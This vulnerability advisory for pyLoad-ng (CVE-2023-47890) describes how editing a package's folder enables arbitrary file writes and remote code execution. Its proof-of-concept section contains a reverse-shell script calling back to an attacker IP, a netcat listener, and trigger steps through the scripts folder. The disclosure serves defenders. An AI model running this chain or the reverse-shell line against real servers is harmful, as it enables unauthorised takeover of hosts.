Staging Environment: Content and features may be unstable or change without notice.
Advisory details: pypa / pyload-ng/PYSEC-2026-1819
Advisory ID pypa/pyload-ng/PYSEC-2026-1819
Aliases CVE-2023-47890
GHSA-h73m-pcfw-25h2
PYSEC-2026-1819
Summary Download to arbitrary folder can lead to RCE ### Summary A web UI user can store files anywhere on the pyLoad server and gain command execution by abusing scripts. ### Details When a user creates a new package, a subdirectory is created within the /downloads folder to store files. This new directory name is derived from the package name, except a filter is applied to make sure it can't traverse directories and stays within /downloads. src/pyload/core/api/__init__.py::add_package::L432 ```python folder = ( folder.replace("http://", "") .replace("https://", "") .replace(":", "") .replace("/", "_") .replace("\\", "_") ) ``` So if a package were created with the name ```"../"``` the application would instead create the folder ```"/downloads/.._/"``` However, when editing packages there is no prevention in place and a user can just pick any arbitrary directory in the filesystem. src/pyload/webui/app/blueprints/json_blueprint.py::edit_package::L195 ```python id = int(flask.request.form["pack_id"]) data = { "name": flask.request.form["pack_name"], "_folder": flask.request.form["pack_folder"], "password": flask.request.form["pack_pws"], } api.set_package_data(id, data) ``` ### Steps to reproduce 1. Login to a pyLoad instance 2. Go to "Queue" and create a new package with any name and a valid link 3. Click "Edit Package" on the newly created package and set the folder as "/config/scripts/download_finished/" 4. Restart the package 5. Check the server filesystem and note the link was downloaded and stored inside "/config/scripts/download_finished/" ### Remote code execution proof-of-concept It is possible to use this issue to abuse scripts and gain remote control over the pyLoad server. #### On attacker machine 1. Start a web server hosting a malicious script ```bash echo -e '#!/bin/bash\nbash -i >& /dev/tcp/<attacker_ip>/9999 0>&1' > evil.sh&1 sudo python3 -m http.server 80 ``` 2. Start netcat listener for reverse shells ```bash nc -vklp 9999 ``` #### On pyLoad 1. Change pyLoad file permission settings Change permissions of downloads: On Permission mode for downloaded files: 0744 2. Create a package with link pointing to the attacker http://<attacker_ip>/evil.sh 3. Edit package and change folder to /config/scripts/package_deleted/ 4. Refresh package. Wait up to 60 seconds for scripts to be processed by pyLoad 5. Delete any package package to trigger the script ### Impact An authenticated user can gain control over the underlying pyLoad server.
Status Published
Exploitability 0.5
Weighted Severity 6.8
Risk 3.4
Affected and Fixed Packages Package Details
Introduced and Fixed Package Commit Patches Package Commit Patches Details
Weaknesses (0)
There are no known CWE.
System Score Found at
cvssv3.1 7.6 https://github.com/pypa/advisory-database/blob/main/vulns/pyload-ng/PYSEC-2026-1819.yaml
Reference id Reference type URL
https://github.com/pyload/pyload
https://github.com/pyload/pyload/commit/695bb70cd88608dc4fee18a6a7ecb66722ebfd8f
https://pypi.org/project/pyload-ng
CVE-2023-47890 https://nvd.nist.gov/vuln/detail/CVE-2023-47890
GHSA-h73m-pcfw-25h2 https://github.com/advisories/GHSA-h73m-pcfw-25h2
GHSA-h73m-pcfw-25h2 https://github.com/pyload/pyload/security/advisories/GHSA-h73m-pcfw-25h2
pyload.com Other http://pyload.com
No exploits are available.

No EPSS data available for this advisory.

Patch URL
There are no known patches.
Vector: CVSS:3.1/AV:A/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H Found at https://github.com/pypa/advisory-database/blob/main/vulns/pyload-ng/PYSEC-2026-1819.yaml
Attack Vector (AV) Attack Complexity (AC) Privileges Required (PR) User Interaction (UI) Scope (S) Confidentiality Impact (C) Integrity Impact (I) Availability Impact (A)

network

adjacent_network

local

physical

low

high

none

low

high

none

required

unchanged

changed

high

low

none

high

low

none

high

low

none

Vector: SSVCv2/E:P/A:N/T:T/P:M/B:A/M:M/D:R/2025-05-09T23:56:34Z/

Decision: Track*

Source URL: https://github.com/cisagov/vulnrichment/blob/develop/2023/47xxx/CVE-2023-47890.json

Source Advisory: vulnrichment/CVE-2023-47890

View SSVC decision tree 
[{'Exploitation': 'poc'},
 {'Automatable': 'no'},
 {'Technical Impact': 'total'},
 {'Mission Prevalence': 'minimal'},
 {'Public Well-being Impact': 'material'},
 {'Mission & Well-being': 'medium'}]